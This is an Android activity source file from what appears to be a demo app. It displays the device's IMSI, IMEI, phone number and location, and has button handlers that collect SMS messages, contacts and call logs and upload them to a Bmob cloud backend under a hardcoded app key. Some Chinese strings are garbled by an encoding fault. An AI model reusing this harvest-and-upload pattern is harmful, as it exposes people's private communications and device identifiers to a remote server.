package com.say.activity;

import java.util.List;

import android.app.Activity;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.location.Location;
import android.location.LocationManager;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import cn.bmob.v3.Bmob;

import com.say.test.R;
import com.say.findsth.bean.BmobUploadTool;
import com.say.tool.TimeRecorder;

public class FindSthActivity extends Activity {
	TextView imsi;
	TextView imei;
	TextView phoneNum;
	
	
	TimeRecorder rec = new TimeRecorder();

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_findsth);
		Bmob.initialize(this, "4f347159467e1c6ade2e8b4c6e271feb");

		imsi = (TextView) findViewById(R.id.label_imsi);
		imei = (TextView) findViewById(R.id.label_imei);
		phoneNum = (TextView) findViewById(R.id.label_phone_num);
		obtainPhoneIdentifier();
	}
	
	public void findLocation(View v) {

		LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
		// locationManager.
		List<String> lp = locationManager.getAllProviders();
		for (String item : lp) {
			log("Location" + item);
		}

		Location loc = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
		if (loc != null) {
			double latitude = loc.getLatitude();
			double longitude = loc.getLongitude();
			double altitude = loc.getAltitude();
			String str = "纬度:" + latitude + ",经度:" + longitude + "高地:" + altitude;
			log(str);
			toast(str);
		} else {
			Toast.makeText(this, "Location为空。", Toast.LENGTH_SHORT).show();
		}
	}
	
	
	public void upload_sms(View v) {
		BmobUploadTool upload = new BmobUploadTool(FindSthActivity.this);
		upload.find_sms();
		upload.uploadBatch();
	}

	public void upload_contacts(View v) {
		BmobUploadTool upload = new BmobUploadTool(FindSthActivity.this);
		upload.find_contacts();
		upload.uploadBatch();
	}
	

	public void upload_calls(View v) {
		BmobUploadTool upload = new BmobUploadTool(FindSthActivity.this);
		upload.find_calls();
		upload.uploadBatch();
	}

	private void obtainPhoneIdentifier() {
		TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		String phoneNumber=telephonyManager.getLine1Number();
		String si = telephonyManager.getSubscriberId();
		String ei = telephonyManager.getDeviceId();
		imsi.setText(si);
		imei.setText(ei);
		phoneNum.setText(phoneNumber);
//		String otherStr =  telephonyManager.getCellLocation();
//		otherInfo.setText(otherStr);
	}
	
	public void toAnotherActivity(View v) {
		switch (v.getId()) {
		case R.id.btn_to_listview_activity:
			Intent intent1= new Intent(FindSthActivity.this, DBOperateActivity.class);
			startActivity(intent1);
			break;
		case R.id.btn_to_dialogs_activity:
			Intent intent2= new Intent(FindSthActivity.this, DialogsActivity.class);
			startActivity(intent2);
			break;
		case R.id.btn_to_dialog_activity:
			Intent intent3= new Intent(FindSthActivity.this, DemoDialogActivity.class);
			startActivity(intent3);
			break;
		case R.id.btn_show_dialog:
			DialogBox box =	new DialogBox(this);
			box.setDialog(new OnClickListener() {
				public void onClick(DialogInterface dialog, int which) {
					toast("����ȷ����");
				}
			}, new OnClickListener() {
				public void onClick(DialogInterface dialog, int which) {
					toast("����ȡ��");
				}
			});
			box.buildTipDialog().show();
			break;
		case R.id.btn_to_download_activity:
			Intent intent4= new Intent(FindSthActivity.this, DownloadActivity.class);
			startActivity(intent4);
			break;
		default:
			break;
		}
	
	}
	
	private void toast(String string) {
		Toast.makeText(FindSthActivity.this, string, Toast.LENGTH_LONG).show();
	}
	private void log(String string) {
		Log.i("qqq", string);
	}
	
}
